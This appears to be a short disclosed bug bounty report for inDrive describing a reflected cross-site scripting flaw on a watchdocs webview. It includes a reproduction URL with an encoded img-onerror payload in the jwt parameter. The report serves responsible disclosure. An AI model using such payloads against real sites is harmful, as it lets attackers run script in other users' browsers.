inDrive · Report #2015074
#2 XSS on watchdocs.indriverapp.com
Validstatus
mediumseverity
101upvotes
11 Apr 2024disclosed
Summary
And subscribe to our telegram channel with updates https://t.me/indrive_bbp
How it was found
Summary:
I've found an XSS on https://watchdocs.indriverapp.com/
Steps To Reproduce:
- Visit https://watchdocs.indriverapp.com/webview/v1?phone=████████&token=██████████&service=cargo&locale=en&jwt=%22%3E%3Cimg%20src=raw%20onerror=alert(%22hackerone%22)%3E#/
- You'll get an XSS alert
Supporting Material/References:
███
Impact
Execute javascript on user browser